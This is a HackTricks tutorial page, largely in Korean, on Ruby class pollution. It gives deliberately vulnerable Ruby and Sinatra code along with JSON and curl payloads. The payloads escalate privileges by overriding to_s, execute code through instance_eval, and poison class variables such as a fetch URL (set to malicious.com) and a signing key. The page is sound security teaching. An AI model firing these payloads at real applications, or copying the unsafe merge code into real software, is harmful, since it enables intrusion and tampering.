Ruby Class Pollution

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

λ‹€μŒ κΈ€μ˜ μš”μ•½μž…λ‹ˆλ‹€: https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Merge on Attributes

μ˜ˆμ‹œ:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

μ„€λͺ…

  1. Privilege Escalation: authorize λ©”μ„œλ“œλŠ” to_sκ°€ β€œAdmin.β€œμ„ λ°˜ν™˜ν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€. JSON을 톡해 μƒˆλ‘œμš΄ to_s 속성을 μ£Όμž…ν•˜λ©΄, κ³΅κ²©μžλŠ” to_s λ©”μ„œλ“œκ°€ β€œAdminβ€œμ„ λ°˜ν™˜ν•˜λ„λ‘ λ§Œλ“€μ–΄ κΆŒν•œμ„ λΆ€λ‹Ήν•˜κ²Œ μƒμŠΉμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.
  2. Remote Code Execution: health_checkμ—μ„œ instance_eval은 protected_methods에 λ‚˜μ—΄λœ λ©”μ„œλ“œλ“€μ„ μ‹€ν–‰ν•©λ‹ˆλ‹€. κ³΅κ²©μžκ°€ "puts 1" 같은 μ»€μŠ€ν…€ λ©”μ„œλ“œ 이름을 μ£Όμž…ν•˜λ©΄, instance_eval이 이λ₯Ό μ‹€ν–‰ν•˜μ—¬ **remote code execution (RCE)**둜 μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.
  3. μ΄λŠ” ν•΄λ‹Ή μ†μ„±μ˜ λ¬Έμžμ—΄ 값을 μ‹€ν–‰ν•˜λŠ” μ·¨μ•½ν•œ eval μ§€μ‹œλ¬Έμ΄ 있기 λ•Œλ¬Έμ— κ°€λŠ₯ν•œ κ²ƒμž…λ‹ˆλ‹€.
  4. 영ν–₯ λ²”μœ„ μ œν•œ: 이 취약점은 κ°œλ³„ μΈμŠ€ν„΄μŠ€μ—λ§Œ 영ν–₯을 미치며, λ‹€λ₯Έ User 및 Admin μΈμŠ€ν„΄μŠ€λŠ” 영ν–₯을 λ°›μ§€ μ•ŠμœΌλ―€λ‘œ, 곡격 λ²”μœ„κ°€ μ œν•œλ©λ‹ˆλ‹€.

μ‹€μ œ 사둀

ActiveSupport의 deep_merge

κΈ°λ³Έμ μœΌλ‘œλŠ” μ·¨μ•½ν•˜μ§€ μ•Šμ§€λ§Œ, λ‹€μŒκ³Ό 같은 λ°©μ‹μœΌλ‘œ μ·¨μ•½ν•˜κ²Œ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

Hashie’s deep_merge λ©”μ„œλ“œλŠ” 일반 ν•΄μ‹œκ°€ μ•„λ‹ˆλΌ 객체 속성에 직접 μž‘λ™ν•©λ‹ˆλ‹€. 병합 μ‹œ λ©”μ„œλ“œκ°€ μ†μ„±μœΌλ‘œ λŒ€μ²΄λ˜λŠ” 것을 μ°¨λ‹¨ν•˜μ§€λ§Œ λͺ‡ κ°€μ§€ μ˜ˆμ™Έκ°€ μžˆμŠ΅λ‹ˆλ‹€: 이름이 _, !, λ˜λŠ” ?둜 λλ‚˜λŠ” 속성은 μ—¬μ „νžˆ 객체에 병합될 수 μžˆμŠ΅λ‹ˆλ‹€.

특히 단독 속성 **_**κ°€ μžˆμŠ΅λ‹ˆλ‹€. _λŠ” 보톡 Mash 객체λ₯Ό λ°˜ν™˜ν•˜λŠ” μ†μ„±μž…λ‹ˆλ‹€. 그리고 μ˜ˆμ™Έμ— ν¬ν•¨λ˜λ―€λ‘œ 이λ₯Ό μˆ˜μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ‹€μŒ μ˜ˆμ‹œλ₯Ό 보면 {"_": "Admin"}을 μ „λ‹¬ν•˜μ—¬ _.to_s == "Admin"을 μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€:

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): Hashie 5.0.0μ—μ„œ Hashie::Extensions::DeepMerge#deep_mergeλŠ” μ€‘μ²©λœ μ„œλΈŒ ν•΄μ‹œλ“€μ„ λ³΅μ œν•˜μ§€ μ•Šκ³  μˆ˜μ‹ μž(receiver) μͺ½μ—μ„œ λ³€κ²½ν–ˆμŠ΅λ‹ˆλ‹€. 곡격자 μ œμ–΄ 데이터(attacker-controlled data)λ₯Ό μž₯κΈ°κ°„ μ§€μ†λ˜λŠ” 객체에 λ³‘ν•©ν•˜λ©΄ μš”μ²­ κ°„ 변경이 μ§€μ†λ˜μ–΄ 이전에 β€œsafeβ€ν–ˆλ˜ μΈμŠ€ν„΄μŠ€λ“€μ΄ μ˜€μ—Όλ  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€. 이 λ™μž‘μ€ 5.0.1μ—μ„œ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

클래슀 μ˜€μ—Όμ‹œν‚€κΈ°

λ‹€μŒ μ˜ˆμ œμ—μ„œ Person ν΄λž˜μŠ€μ™€ κ·Έλ‘œλΆ€ν„° μƒμ†λ°›λŠ” Admin 및 Regular 클래슀λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ **KeySigner**λΌλŠ” λ‹€λ₯Έ ν΄λž˜μŠ€λ„ μžˆμŠ΅λ‹ˆλ‹€:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

λ‹€μŒ payload둜:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

μƒμœ„ 클래슀 **Person**의 @@url 속성 값을 μˆ˜μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Poisoning Other Classes

λ‹€μŒ payload:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

μ •μ˜λœ ν΄λž˜μŠ€λ“€μ„ brute-forceν•˜μ—¬ κ²°κ΅­ 클래슀 **KeySigner**λ₯Ό μ˜€μ—Όμ‹œμΌœ signing_key 값을 injected-signing-key둜 λ³€κ²½ν•  수 μžˆλ‹€.\

참고자료

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°